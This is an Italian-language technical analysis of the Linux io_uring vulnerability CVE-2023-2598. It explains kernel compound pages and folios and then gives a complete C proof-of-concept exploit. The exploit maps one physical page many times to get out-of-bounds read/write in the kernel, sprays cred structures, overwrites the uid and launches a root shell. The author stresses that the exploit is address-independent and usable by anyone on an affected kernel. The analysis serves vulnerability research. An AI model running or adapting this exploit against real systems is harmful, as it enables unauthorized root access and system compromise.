
Analisi tecnica ed exploit proof-of-concept per CVE-2023-2598, una vulnerabilità di escalation di privilegi del kernel Linux nella registrazione buffer di io_uring, con spiegazione dettagliata di Compound Page e internals folio.
Attraverso la CVE-2023-2598 comprendere i meccanismi Compound Page e folio in Linux e, successivamente, verificare se è possibile completare lo sfruttamento della 1day CVE-2023-6560.
La memoria cresce sempre di più, ma l'unità di allocazione delle pagine base di Linux è ancora di 4K, ormai inadeguata. Per risolvere questo problema sono state introdotte le compound page. Una compound page consiste in pratica nel trattare più pagine come un unico insieme: due o più pagine fisicamente contigue vengono combinate in un'unica unità che, per molti aspetti, può essere considerata una singola pagina più grande. Sono usate più comunemente per creare pagine di grandi dimensioni, nei sottosistemi hugetlbfs o delle Transparent Huge Pages, ma compaiono anche in altri scenari. Le compound page possono essere usate come memoria anonima o come buffer nel kernel; tuttavia, non possono comparire nella page cache, che può gestire solo singole pagine.
Per allocare una compound page si chiama alloc_pages() impostando il flag di allocazione __GFP_COMP e un numero di page frame maggiore di 1, cioè un order di almeno 1. È quanto determinato dal meccanismo di implementazione delle compound page.
Nota: una compound page è sempre fisicamente contigua.
Il flag nella prima page viene marcato con PG_head, che la contrassegna come pagina di testa della compound page;
Tutte le page successive configurano due attributi: mapping e compound_head; tramite compound_head si determina se si tratta di una tail page o della head page, come si vede nel dettaglio nella funzione compound_head();
Nella seconda page sono memorizzate ulteriori informazioni sulla compound page, ed è anche per questo che l'order di una compound page deve essere almeno 1;
static inline unsigned long _compound_head(const struct page *page)
{
unsigned long head = READ_ONCE(page->compound_head);
if (unlikely(head & 1))
return head - 1;
return (unsigned long)page;
}
Si vede quindi che questo campo contiene non solo un flag, ma anche un puntatore alla head page.
Quindi, quando si ottiene una page, è facile determinare se si tratta di una compound page e, in tal caso, se è una head page o una tail page. Manca però un'informazione fondamentale: la dimensione della compound page. Se non si conosce la dimensione della compound page, quando la si libera è necessario conoscerla. Tutte queste informazioni sono memorizzate nel campo lru della prima tail page: la dimensione (order) della compound page viene prima convertita forzatamente in un tipo puntatore, quindi memorizzata in lru.prev, mentre il distruttore (destructor) viene memorizzato in lru.next.
Finché si conoscono la head page e la dimensione della compound page, si può liberare correttamente la pagina grande, poiché le compound page sono sempre fisicamente contigue.
La struttura è illustrata nella figura seguente:

Un folio può essere visto come un livello di involucro attorno alla page, senza alcun overhead. Un folio può essere una singola page o una compound page.

La figura sopra è uno schema della struttura page: 64 byte gestiscono informazioni come flags, lru, mapping, index, private, {ref_, map_}count, memcg_data. Quando la page è una compound page, le informazioni come i flags si trovano nella head page, mentre le tail page riutilizzano le informazioni di gestione come compound_{head, mapcount, order, nr, dtor}.
struct folio {
/* private: don't document the anon union */
union {
struct {
/* public: */
unsigned long flags;
struct list_head lru;
struct address_space *mapping;
pgoff_t index;
void *private;
atomic_t _mapcount;
atomic_t _refcount;
#ifdef CONFIG_MEMCG
unsigned long memcg_data;
#endif
/* private: the union with struct page is transitional */
};
struct page page;
};
};
Nella definizione della struttura del folio, informazioni come flags e lru sono del tutto identiche a quelle della page, quindi possono essere unite alla page tramite una union. In questo modo si può usare direttamente folio->flags senza dover usare folio->page->flags.
#define page_folio(p) (_Generic((p), \
const struct page *: (const struct folio *)_compound_head(p), \
struct page *: (struct folio *)_compound_head(p)))
#define nth_page(page,n) ((page) + (n))
#define folio_page(folio, n) nth_page(&(folio)->page, n)
A prima vista page_folio può sembrare un po' sconcertante; in realtà equivale a:
switch (typeof(p)) {
case const struct page *:
return (const struct folio *)_compound_head(p);
case struct page *:
return (struct folio *)_compound_head(p)));
}
Attraverso la definizione della macro page_folio, si può scoprire che un folio in realtà è la head page di una compound page. Quando un folio viene convertito in page, folio->page serve a ottenere la head page, mentre folio_page(folio, n) può essere usata per ottenere le tail page.
E allora a cosa serve il folio? Per lo più per ragioni di sviluppo ed efficienza. Senza il folio, una funzione non può determinare al suo interno se la page corrente è una head page, quindi deve chiamare _compound_head. Se i percorsi di esecuzione aumentano, il fatto che ogni funzione lungo il percorso chiami _compound_head incide sull'efficienza. Ma se una funzione accetta solo un parametro struct folio *, quel folio punta alla head page, quindi all'interno della funzione non è più necessario chiamare _compound_head.
Quindi svolge principalmente queste tre funzioni:
Riduce le chiamate ridondanti a compound_head.
Dà un suggerimento agli sviluppatori: vedere un folio significa avere la certezza che si tratta di una head page.
Corregge potenziali bug causati dalle tail page.
In io_uring_register_buffer di io_uring c'è questa logica:

Quando lo spazio utente passa più di una pagina, io_uring verifica se il buffer passato è un folio. Il metodo di verifica usa page_folio() per ottenere la head page di page[i]; se la head page di page[i] è uguale a quella di page[0], si ritiene che appartengano alla stessa compound page.
In generale questo trattamento è corretto, ma esiste un caso particolare: se nello spazio utente si usa mmap per mappare la stessa pagina fisica su indirizzi virtuali contigui, anche questa situazione soddisfa la condizione del controllo, quindi alla fine si entra in questo ramo:

A questo punto, lo spazio utente ha allocato una sola pagina fisica, ma la size finale è quella dell'intervallo di indirizzi virtuali contigui, quindi la size può essere maggiore dell'area fisica effettivamente allocata. Ciò provoca infine letture/scritture fuori dai limiti.
Si esegue uno spray di strutture cred e poi si usa questa interfaccia di lettura/scrittura fuori dai limiti per modificare l'uid.
Rispetto all'exp disponibile in rete, questo exp, riscrivendo l'uid, non ha dipendenze dagli indirizzi: chiunque sia affetto dalla vulnerabilità può usare questo exp.
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <liburing.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <mqueue.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <assert.h>
#define COLOR_RED "\033[1;31m"
#define COLOR_GREEN "\033[1;32m"
#define COLOR_RESET "\033[0m"
#define PAGE_SIZE 0x1000
#define MAX_PAGES 100
#define CRED_DRAIN 100
#define CRED_SPRAY 600
#define check_ret(ret, buf) do { if((ret) < 0) { err_exit(buf); } } while(0)
int check_root_pipe[2];
char bin_sh_str[] = "/bin/sh";
char *shell_args[] = { bin_sh_str, NULL };
char child_pipe_buf[1];
char root_str[] = "\033[32m\033[1m[+] Successful to get the root.\n"
"\033[34m[*] Execve root shell now...\033[0m\n";
struct timespec timer = {
.tv_sec = 1145141919,
.tv_nsec = 0,
};
void err_exit(char *buf){
fprintf(stderr, "%s[-]%s : %s%s\n", COLOR_RED, buf, strerror(errno), COLOR_RESET);
exit(-1);
}
void log(char *buf){
fprintf(stdout,"%s[+]%s%s\n",COLOR_GREEN,buf,COLOR_RESET);
}
void cred_drain(){
for(int i=0;i<CRED_DRAIN;i++){
int ret=fork();
if(!ret){
read(check_root_pipe[0],child_pipe_buf,1);
if(getuid()==0){
write(1, root_str, 71);
system("/bin/sh");
}
sleep(100000000);
}
check_ret(ret,"fork fail");
}
}
void clear_buddy(){
void * pages[MAX_PAGES];
for(int i=0;i<MAX_PAGES;i++){
pages[i]=mmap(0x60000000+i*0x200000UL,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
check_ret(pages[i],"mmap");
}
for(int i=0;i<MAX_PAGES;i++){
*(char *)pages[i]='a';
}
}
__attribute__((naked)) long simple_clone(int flags, int (*fn)(void *))
{
/* for syscall, it's clone(flags, stack, ...) */
__asm__ volatile (
" mov r15, rsi\n" /* save the rsi*/
" xor rsi, rsi\n" /* set esp and useless args to NULL */
" xor rdx, rdx\n"
" xor r10, r10\n"
" xor r8, r8\n"
" xor r9, r9\n"
" mov rax, 56\n" /* __NR_clone */
" syscall\n"
" cmp rax, 0\n"
" je child_fn\n"
" ret\n" /* parent */
"child_fn: \n"
" jmp r15\n" /* child */
);
}
int waiting_for_root_fn(void *args)
{
/* we're using the same stack for them, so we need to avoid cracking it.. */
__asm__ volatile (
" lea rax, [check_root_pipe]\n"
" xor rdi, rdi\n"
" mov edi, dword ptr [rax]\n"
" mov rsi, child_pipe_buf\n"
" mov rdx, 1\n"
" xor rax, rax\n" /* read(check_root_pipe[0], child_pipe_buf, 1)*/
" syscall\n"
" mov rax, 102\n" /* getuid() */
" syscall\n"
" cmp rax, 0\n"
" jne failed\n"
" mov rdi, 1\n"
" lea rsi, [root_str]\n"
" mov rdx, 80\n"
" mov rax, 1\n" /* write(1, root_str, 71) */
" syscall\n"
" lea rdi, [bin_sh_str]\n"
" lea rsi, [shell_args]\n"
" xor rdx, rdx\n"
" mov rax, 59\n"
" syscall\n" /* execve("/bin/sh", args, NULL) */
"failed: \n"
" lea rdi, [timer]\n"
" xor rsi, rsi\n"
" mov rax, 35\n" /* nanosleep() */
" syscall\n"
);
return 0;
}
int main(){
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(sched_getcpu(), &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0) {
perror("sched_setaffinity");
exit(EXIT_FAILURE);
}
struct io_uring ring;
struct io_uring_sqe *sqe;
struct io_uring_cqe *cqe;
int ret;
int memfd;
int rw_fd;
struct iovec iovec;
char *rw_buffer;
uint64_t start_addr=0x800000000;
int nr_pages=500;
char buf[1000];
//清空cred cache
log("drain cred cache");
pipe(check_root_pipe);
cred_drain();
//清空buddy system cache
log("clear buddy system cache");
clear_buddy();
//初始化io_uring
log("io_uring_setup");
ret=io_uring_queue_init(8,&ring,0);
check_ret(ret,"io_uring_setup fail");
//准备缓冲区
log("prepare buf to register");
memfd=memfd_create("io_register_buf",MFD_CLOEXEC);
check_ret(memfd,"memfd_create fail");
rw_fd=memfd_create("read_write_file",MFD_CLOEXEC);
check_ret(rw_fd,"memfd_create fail");
check_ret(fallocate(memfd, 0, 0, 1 * PAGE_SIZE),"fallocate fail");
check_ret(fallocate(rw_fd, 0, 0, 1 * PAGE_SIZE),"fallocate fail");
for(int i=0;i<nr_pages;i++){
check_ret(mmap(start_addr+i*0x1000,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_SHARED|MAP_FIXED,memfd,0),"mmap fail");
}
rw_buffer=mmap(NULL,PAGE_SIZE,PROT_READ|PROT_WRITE,MAP_SHARED,rw_fd,0);
check_ret(rw_buffer,"mmap fail");
//注册缓冲区
log("register buffer");
iovec.iov_base=start_addr;
iovec.iov_len=nr_pages*PAGE_SIZE;
check_ret(io_uring_register_buffers(&ring,&iovec,1),"io_ring_register_buffer fail");
//spray cred
log("spray cred");
for(int i=0;i<CRED_SPRAY;i++){
check_ret(simple_clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND, waiting_for_root_fn),"clone fail");
}
//search cred page
log("search crea page");
int page_offset=0;
for(int i=0;i<nr_pages;i++){
sqe=io_uring_get_sqe(&ring);
check_ret(sqe,"io_uring_get_sqe fail");
io_uring_prep_write_fixed(sqe,rw_fd,start_addr+i*PAGE_SIZE,PAGE_SIZE,0,0);
check_ret(io_uring_submit(&ring),"io_uring_submit fail");
io_uring_wait_cqe(&ring, &cqe);
io_uring_cqe_seen(&ring, cqe);
int uid=((int *)(rw_buffer))[1];
int gid=((int *)(rw_buffer))[2];
if(uid==1000 && gid==1000){
page_offset=i;
break;
}
}
if(page_offset==0){
err_exit("not find cred page");
}
//edit cred's uid
log("/edit cred's uid");
*(size_t *)(rw_buffer)=0x2;
sqe=io_uring_get_sqe(&ring);
check_ret(sqe,"io_uring_get_sqe fail");
io_uring_prep_read_fixed(sqe,rw_fd,start_addr+page_offset*PAGE_SIZE,8,0,0);
check_ret(io_uring_submit(&ring),"io_uring_submit fail");
io_uring_wait_cqe(&ring, &cqe);
io_uring_cqe_seen(&ring, cqe);
sqe=io_uring_get_sqe(&ring);
check_ret(sqe,"io_uring_get_sqe fail");
io_uring_prep_write_fixed(sqe,rw_fd,start_addr+page_offset*PAGE_SIZE,PAGE_SIZE,0,0);
check_ret(io_uring_submit(&ring),"io_uring_submit fail");
io_uring_wait_cqe(&ring, &cqe);
io_uring_cqe_seen(&ring, cqe);
//check privilege in child processes
log("check privilege in child processes");
write(check_root_pipe[1],buf, CRED_SPRAY+CRED_DRAIN);
sleep(100000000);
}
Notare questo codice:

Se viene effettivamente registrata una compound page, io_uring non incrementa il reference count delle pagine successive. Se lo spazio utente annulla la mappatura nel mezzo della compound page, l'area di memoria corrispondente, avendo reference count pari a 1, viene completamente liberata, ma la size registrata in io_uring non cambia: è quindi possibile usare io_uring per leggere/scrivere fuori dai limiti. Il vero peccato è che, secondo i miei test, Linux non consente di annullare la mappatura nel mezzo di una compound page; del resto è anche ragionevole, perché se fosse possibile, la gestione delle page diventerebbe molto scomoda.